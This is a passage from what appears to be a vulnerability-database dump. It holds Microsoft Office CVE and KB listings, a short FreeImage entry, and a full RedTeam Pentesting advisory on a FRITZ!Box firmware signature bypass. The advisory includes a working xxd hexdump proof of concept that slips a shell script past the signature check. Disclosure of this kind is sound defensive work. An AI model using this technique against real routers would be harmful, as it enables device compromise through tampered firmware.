Updater for Mac \nExcel Services on Microsoft SharePoint Server 2010 Service Pack 2 \nExcel Services on Microsoft SharePoint Server 2007 Service Pack 3 \nWord Automation Services on Microsoft SharePoint Server 2010 Service Pack 2 \nMicrosoft Office Web Apps 2010 Service Pack 2\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[MS16-148](<https://technet.microsoft.com/en-us/library/security/ms16-148.aspx>) \n[CVE-2016-7257](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7257>) \n[CVE-2016-7274](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7274>) \n[CVE-2016-7277](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7277>) \n[CVE-2016-7276](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7276>) \n[CVE-2016-7275](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7275>) \n[CVE-2016-7268](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7268>) \n[CVE-2016-7267](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7267>) \n[CVE-2016-7300](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7300>) \n[CVE-2016-7291](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7291>) \n[CVE-2016-7290](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7290>) \n[CVE-2016-7289](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7289>) \n[CVE-2016-7262](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7262>) \n[CVE-2016-7263](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7263>) \n[CVE-2016-7264](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7264>) \n[CVE-2016-7265](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7265>) \n[CVE-2016-7266](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7266>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats](<https://threats.kaspersky.com/en/product/Microsoft-Office-Compatibility-Pack-for-Word,-Excel,-and-PowerPoint-2007-File-Formats/>)\n\n### *CVE-IDS*:\n[CVE-2016-7257](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7257>)4.3Critical \n[CVE-2016-7274](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7274>)9.3Critical \n[CVE-2016-7277](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7277>)9.3Critical \n[CVE-2016-7276](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7276>)5.8Critical \n[CVE-2016-7275](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7275>)7.2Critical \n[CVE-2016-7268](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7268>)5.8Critical \n[CVE-2016-7267](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7267>)4.3Critical \n[CVE-2016-7300](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7300>)4.6Critical \n[CVE-2016-7291](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7291>)5.8Critical \n[CVE-2016-7290](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7290>)5.8Critical \n[CVE-2016-7289](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7289>)9.3Critical \n[CVE-2016-7262](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7262>)6.8Critical \n[CVE-2016-7263](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7263>)9.3Critical \n[CVE-2016-7264](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7264>)5.8Critical \n[CVE-2016-7265](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7265>)5.8Critical \n[CVE-2016-7266](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7266>)6.8Critical\n\n### *Microsoft official advisories*:\n\n\n### *KB list*:\n[3118380](<http://support.microsoft.com/kb/3118380>) \n[2889841](<http://support.microsoft.com/kb/2889841>) \n[3128008](<http://support.microsoft.com/kb/3128008>) \n[3127986](<http://support.microsoft.com/kb/3127986>) \n[2883033](<http://support.microsoft.com/kb/2883033>) \n[3128022](<http://support.microsoft.com/kb/3128022>) \n[3128023](<http://support.microsoft.com/kb/3128023>) \n[3128026](<http://support.microsoft.com/kb/3128026>) \n[3128035](<http://support.microsoft.com/kb/3128035>) \n[3128032](<http://support.microsoft.com/kb/3128032>) \n[3198800](<http://support.microsoft.com/kb/3198800>) \n[3128024](<http://support.microsoft.com/kb/3128024>) \n[3128043](<http://support.microsoft.com/kb/3128043>) \n[3128044](<http://support.microsoft.com/kb/3128044>) \n[3128016](<http://support.microsoft.com/kb/3128016>) \n[3127995](<http://support.microsoft.com/kb/3127995>) \n[3128019](<http://support.microsoft.com/kb/3128019>) \n[3127892](<http://support.microsoft.com/kb/3127892>) \n[3128020](<http://support.microsoft.com/kb/3128020>) \n[3128029](<http://support.microsoft.com/kb/3128029>) \n[3198808](<http://support.microsoft.com/kb/3198808>) \n[3114395](<http://support.microsoft.com/kb/3114395>) \n[3128037](<http://support.microsoft.com/kb/3128037>) \n[3127968](<http://support.microsoft.com/kb/3127968>) \n[3128025](<http://support.microsoft.com/kb/3128025>) \n[3128034](<http://support.microsoft.com/kb/3128034>)", "modified": "2019-03-07T00:00:00", "published": "2016-12-13T00:00:00", "id": "KLA10921", "href": "https://threats.kaspersky.com/en/vulnerability/KLA10921", "title": "\r KLA10921Multiple vulnerabilities in Microsoft Office ", "type": "kaspersky", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "securityvulns": [{"lastseen": "2018-08-31T11:10:57", "bulletinFamily": "software", "description": "\r\n\r\nAdvisory: AVM FRITZ!Box: Firmware Signature Bypass\r\n\r\nThe signature check of FRITZ!Box firmware images is flawed. Malicious\r\ncode can be injected into firmware images without breaking the RSA\r\nsignature. The code will be executed either if a manipulated firmware\r\nimage is uploaded by the victim or if the victim confirms an update on\r\nthe webinterface during a MITM attack.\r\n\r\n\r\nDetails\r\n=======\r\n\r\nProduct: AVM FRITZ!Box 7490, 7390, 7270v3 and other models\r\nAffected Versions:\r\n FRITZ!Box 6810 LTE, since firmware 5.22,\r\n FRITZ!Box 6840 LTE, since firmware 5.23,\r\n other models, since firmware 5.50\r\nFixed Versions:\r\n FRITZ!Box 7270, since firmware 6.05,\r\n FRITZ!Box 7270v3, since firmware 6.05,\r\n FRITZ!Box 7240, since firmware 6.05,\r\n other models, since firmware 6.20\r\n\r\nVulnerability Type: Improper Verification of Cryptographic Signature\r\nSecurity Risk: medium\r\nVendor URL: http://avm.de\r\nVendor Status: fixed version released\r\nAdvisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-010\r\nAdvisory Status: published\r\nCVE: CVE-2014-8872\r\nCVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8872\r\n\r\n\r\nIntroduction\r\n============\r\n\r\nFRITZ!Box is the brand name of SOHO routers/CPEs manufactured by AVM\r\nGmbH. The FRITZ!Box usually combines features such as an xDSL modem\r\nfunctionality, routing, wifi access, VoIP, NAS and DECT.\r\n\r\n\r\nMore Details\r\n============\r\n\r\nAVM regularly publishes firmware updates to address bugs and to\r\nintroduce new features. Those updates are cryptographically signed to\r\navoid tampering. The firmware image can either be uploaded manually or\r\nthe FRITZ!Box downloads it semi-automatically from\r\nhttp://download.avm.de via unencrypted HTTP if a new version is\r\navailable.\r\n\r\nTechnically, AVM firmware images are tar files.\r\n\r\n $ tar --list --file FRITZ.Box_7490.113.06.05.image\r\n ./var/\r\n ./var/regelex\r\n ./var/install\r\n ./var/info.txt\r\n ./var/tmp/\r\n ./var/tmp/filesystem.image\r\n ./var/tmp/kernel.image\r\n ./var/chksum\r\n ./var/signature\r\n\r\nThe firmware image contains a shell script called ./var/install, which\r\nwill be invoked after successful verification of the image. It is\r\nresponsible for flashing the new firmware.\r\n\r\nIn a tar archive, each file is described by a 512 byte header followed\r\nby n*512 bytes of file content. The end of a tar archive is represented\r\nby 1024 null bytes after the last content block. In some cases, AVM\r\nappends up to 8 KiB of excess null bytes. The whole tar archive,\r\nincluding these additional null bytes, is covered by a cryptographic\r\nsignature that is stored in the file ./var/signature within the archive.\r\n\r\nThe file contains a 1024 bit RSA decrypted MD5 hash of the firmware\r\nimage. 1024 bytes of space (tar header+content) are normally allocated\r\nto the signature file. When calculating the MD5 hash, that space is\r\ntreated as null bytes.\r\n\r\nThe library libfwsign.so is responsible for the detection of the\r\nsignature file in the tar header of the uploaded firmware image. It uses\r\nthe strstr() function of the C standard library like this:\r\n\r\n if (strstr(filename, "/var/signature"))\r\n {\r\n // signature file found.\r\n // update hash with 512 + n*512 null bytes.\r\n } else {\r\n // signature file not found.\r\n // update hash with tar header and content of current file.\r\n }\r\n\r\nTherefore, any of the following names will be treated as a signature\r\nfile and null bytes instead of the real content will be fed to the MD5\r\nhash function:\r\n\r\n ./var/signature\r\n /var/signature\r\n /tmp/var/signature/example\r\n ./var/signature/.././var/install\r\n\r\nIf such a file is placed after the last legitimate content block (where\r\nat least 1024 signed null bytes reside), the library libfwsign.so will\r\ncompute the same MD5 hash as it would do for an unmodified firmware\r\nimage. As a result, the modified firmware image will pass the signature\r\nverification.\r\n\r\nThe fourth file name, ./var/signature/.././var/install, contains a\r\ndirectory traversal. When parsed by tar, a warning will be generated and\r\nanything from the start of the file name up to /../ will be omitted. The\r\ncontent of the file will be extracted to ./var/install and the original\r\n./var/install file will be overwritten.\r\n\r\nThus, an attacker could easily inject malicious code into ./var/install,\r\nwhich will be executed after the manipulated firmware image has passed\r\nthe signature verification.\r\n\r\n\r\nProof of Concept\r\n================\r\n\r\nThe following command manipulates the latest firmware image for the\r\nFRITZ!Box 7490. When uploaded to a vulnerable FRITZ!Box 7490, all LEDs\r\nof the device will flash constantly to indicate that code execution has\r\noccured.\r\n\r\n------------------------------------------------------------------------\r\n$ xxd -r - FRITZ.Box_7490.113.06.20.image <<EOF\r\n17f2600: 2e2f 7661 722f 7369 676e 6174 7572 652f ./var/signature/\r\n17f2610: 2e2e 2f2e 2f76 6172 2f69 6e73 7461 6c6c .././var/install\r\n17f2620: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n*\r\n17f2660: 0000 0000 3030 3030 3737 3700 3030 3030 ....0000777.0000\r\n17f2670: 3030 3000 3030 3030 3030 3000 3030 3030 000.0000000.0000\r\n17f2680: 3030 3031 3030 3000 3030 3030 3030 3032 0001000.00000002\r\n17f2690: 3430 3700 3031 3532 3037 0020 3000 0000 407.015207. 0...\r\n17f26a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n*\r\n17f2700: 0075 7374 6172 2020 0072 6f6f 7400 0000 .ustar .root...\r\n17f2710: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n17f2720: 0000 0000 0000 0000 0072 6f6f 7400 0000 .........root...\r\n17f2730: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n*\r\n17f2800: 2321 2f62 696e 2f73 680a 6563 686f 2022 #!/bin/sh.echo "\r\n17f2810: 6c65 642d 6374 726c 2070 6f77 6572 5f6f led-ctrl power_o\r\n17f2820: 6666 0a6c 6564 2d63 7472 6c20 776c 616e ff.led-ctrl wlan\r\n17f2830: 5f6f 6666 0a6c 6564 2d63 7472 6c20 7570 _off.led-ctrl up\r\n17f2840: 6461 7465 5f6c 6564 313d 300a 6c65 642d date_led1=0.led-\r\n17f2850: 6374 726c 2068 6172 6477 6172 655f 6572 ctrl hardware_er\r\n17f2860: 726f 720a 642d 6374 726c 2075 7064 6174 ror.d-ctrl updat\r\n17f2870: 655f 6c65 6431 3d30 0a6c 6564 2d63 7472 e_led1=0.led-ctr\r\n17f2880: 6c20 6861 7264 7761 7265 5f65 7272 6f72 l hardware_error\r\n17f2890: 2220 3e20 2f76 6172 2f66 6c61 7368 2f64 " > /var/flash/d\r\n17f28a0: 6562 7567 2e63 6667 0a65 7869 7420 310a ebug.cfg.exit 1.\r\n17f28b0: 2345 4f46 0a00 0000 0000 0000 0000 0000 #EOF............\r\n17f28c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n*\r\n17f29f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\nEOF\r\n------------------------------------------------------------------------\r\n\r\n\r\nWorkaround\r\n==========\r\n\r\nCheck each firmware image manually for multiple occurrences of the\r\nstring "/var/signature" in file names using tar --list.\r\n\r\n\r\nFix\r\n===\r\n\r\nUpgrade to a fixed firmware version. Before upgrading, check the new\r\nfirmware image for suspicious file names (see "Workaround"). AVM should\r\nsecure the distribution of firmware images with TLS to prevent MITM\r\nattacks.\r\n\r\n\r\nSecurity Risk\r\n=============\r\n\r\nThis vulnerability allows an attacker to inject arbitrary code into AVM\r\nfirmware images while maintaining its cryptographic signature. If the\r\nattacker is able to perform a Man-in-the-Middle attack between the AVM\r\nFRITZ!Box and http://download.avm.de/, firmware images can be\r\nmanipulated in transit. Otherwise, attackers need to trick their victims\r\ninto installing a malicious firmware image. While successful attacks\r\nresult in the full compromise of a device, they would typically require an\r\nattacker in a very strong position. The vulnerability is therefore\r\nconsidered to pose a medium risk.\r\n\r\n\r\nTimeline\r\n========\r\n\r\n2014-03-10 Vulnerability identified\r\n2014-03-12 Vendor notified\r\n2014-05-27 Vendor released fixed version for FRITZ!Box 7270v3\r\n2014-08-12 Vendor released fixed version for FRITZ!Box 7490\r\n2014-09-09 Vendor released fixed version for FRITZ!Box 7390\r\n2014-11-14 CVE number assigned\r\n2014-12-08 Vendor provided updated list of affected and fixed models/versions\r\n2014-12-15 Vendor finished releasing fixed versions for all current models\r\n2015-01-21 Advisory released\r\n\r\n\r\nRedTeam Pentesting GmbH\r\n=======================\r\n\r\nRedTeam Pentesting offers individual penetration tests, short pentests,\r\nperformed by a team of specialised IT-security experts. Hereby, security\r\nweaknesses in company networks or products are uncovered and can be\r\nfixed immediately.\r\n\r\nAs there are only few experts in this field, RedTeam Pentesting wants to\r\nshare its knowledge and enhance the public knowledge with research in\r\nsecurity-related areas. The results are made available as public\r\nsecurity advisories.\r\n\r\nMore information about RedTeam Pentesting can be found at\r\nhttps://www.redteam-pentesting.de.\r\n\r\n-- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschaftsfuhrer: Patrick Hof, Jens Liebchen\r\n\r\n", "modified": "2015-01-25T00:00:00", "published": "2015-01-25T00:00:00", "id": "SECURITYVULNS:DOC:31665", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:31665", "title": "[RT-SA-2014-010] AVM FRITZ!Box Firmware Signature Bypass", "type": "securityvulns", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:09:18", "bulletinFamily": "software", "description": "Buffer overflow on interleaved bitmaps processing.", "modified": "2004-11-30T00:00:00", "published": "2004-11-30T00:00:00", "id": "SECURITYVULNS:VULN:4227", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:4227", "title": "FreeImage buffer overflow", "type": "securityvulns", "cvss": {"score": 0.0, "vector": "NONE"}}]}